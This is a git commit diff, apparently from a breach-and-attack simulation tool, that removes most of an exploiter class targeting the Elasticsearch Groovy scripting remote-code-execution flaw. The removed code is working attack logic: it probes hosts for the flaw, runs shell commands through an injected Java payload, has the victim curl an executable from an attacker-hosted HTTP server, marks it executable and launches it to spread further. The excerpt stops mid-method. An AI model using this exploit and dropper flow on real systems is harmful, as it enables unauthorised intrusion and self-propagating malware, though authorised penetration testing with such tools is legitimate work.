Code cleaned and tested on ubuntu
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Vakaris
parent
8ddfb03f27
commit
7e2cc86ab9
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@ -85,159 +85,6 @@ class ElasticGroovyExploiter(WebRCE):
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return False
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return result[0]
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def exploit_host_windows(self):
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"""
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TODO
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Will exploit windows similar to smbexec
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:return:
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"""
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return False
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def exploit_host_linux(self):
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"""
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Exploits linux using similar flow to sshexec and shellshock.
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Meaning run remote commands to copy files over HTTP
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:return:
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"""
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uname_machine = str(self.get_linux_arch())
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if len(uname_machine) != 0:
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self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
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dropper_target_path_linux = self._config.dropper_target_path_linux
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if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True # return already infected
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
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return False
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self.set_file_executable_linux(dropper_target_path_linux)
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self.run_monkey_linux(dropper_target_path_linux)
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if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
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LOG.info("Log file does not exist, monkey might not have run")
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return True
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def run_monkey_linux(self, dropper_target_path_linux):
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"""
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Runs the monkey
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"""
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cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
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cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
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cmdline += ' & '
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self.run_shell_command(cmdline)
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LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
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self._config.dropper_target_path_linux, self.host, cmdline)
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if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
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LOG.info("Log file does not exist, monkey might not have run")
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def download_file_in_linux(self, src_path, target_path):
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"""
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Downloads a file in target machine using curl to the given target path
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:param src_path: File path relative to the monkey
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:param target_path: Target path in linux victim
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:return: T/F
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"""
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http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
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if not http_path:
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LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
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return False
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download_command = '/usr/bin/curl %s -o %s' % (
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http_path, target_path)
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self.run_shell_command(download_command)
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http_thread.join(self.DOWNLOAD_TIMEOUT)
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http_thread.stop()
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if (http_thread.downloads != 1) or (
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'ELF' not in
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self.check_if_remote_file_exists_linux(target_path)):
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LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
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return False
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return True
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def set_file_executable_linux(self, file_path):
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"""
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Marks the given file as executable using chmod
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:return: Nothing
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"""
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chmod = '/bin/chmod +x %s' % file_path
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self.run_shell_command(chmod)
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LOG.info("Marked file %s on host %s as executable", file_path, self.host)
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def check_if_remote_file_exists_linux(self, file_path):
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"""
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:return:
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"""
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cmdline = '/usr/bin/head -c 4 %s' % file_path
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return self.run_shell_command(cmdline)
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def run_shell_command(self, command):
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"""
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Runs a single shell command and returns the result.
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"""
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payload = self.JAVA_CMD % command
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result = self.get_command_result(payload)
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LOG.info("Ran the command %s on host %s", command, self.host)
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return result
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def get_linux_arch(self):
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"""
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Returns host as per uname -m
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"""
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return self.get_command_result(self.JAVA_GET_BIT_LINUX)
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def get_host_tempdir(self):
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"""
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Returns where to write our file given our permissions
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:return: Temp directory path in target host
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"""
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return self.get_command_result(self.JAVA_GET_TMP_DIR)
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def get_host_os(self):
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"""
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:return: target OS
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"""
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return self.get_command_result(self.JAVA_GET_OS)
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def is_vulnerable(self):
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"""
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Checks if a given elasticsearch host is vulnerable to the groovy attack
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:return: True/False
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"""
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result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
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return 'java.lang.Runtime' in result_text
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def get_command_result(self, payload):
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"""
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Gets the result of an attack payload with a single return value.
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:param payload: Payload that fits the GENERIC_QUERY template.
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"""
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result = self.attack_query(payload)
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if not result: # not vulnerable
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return ""
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return result[0]
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def attack_query(self, payload):
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"""
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Wraps the requests query and the JSON parsing.
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Just reduce opportunity for bugs
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:return: List of data fields or None
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"""
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response = requests.get(self.attack_url(), data=payload)
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result = self.get_results(response)
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return result
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def attack_url(self):
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"""
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Composes the URL to attack per host IP and port.
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:return: Elasticsearch vulnerable URL
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"""
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return self.BASE_URL % (self.host.ip_addr, ES_PORT)
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def get_results(self, response):
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"""
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Extracts the result data from our attack
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